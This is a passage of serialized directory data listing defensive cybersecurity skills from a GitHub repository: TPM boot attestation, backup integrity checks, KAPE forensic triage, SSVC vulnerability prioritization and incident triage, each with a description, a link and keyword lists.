(tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[144],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[146,134,147,148,47,149,46,126,150,151,152,153,154,155,156,157,158,159,160,161],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":170,"publishedAt":50},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[168,169],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[156,171,172,173,49,46,174,175,150,176,177,178,179,180,181,33,182,183,184,185],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":193,"publishedAt":50},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[192],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[194,195,196,46,197,198,199,200,201,202,203,204,205,206,207,208,153,209,210,211],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":216,"categories":217,"keywords":219,"publishedAt":50},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[218],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[220,221,222,46,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":243,"categories":244,"keywords":246,"publishedAt":50},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[245],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[47,247,46,248,249,250,251,252,253,254,255,33,256,182,39,257,258,259,260,261],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]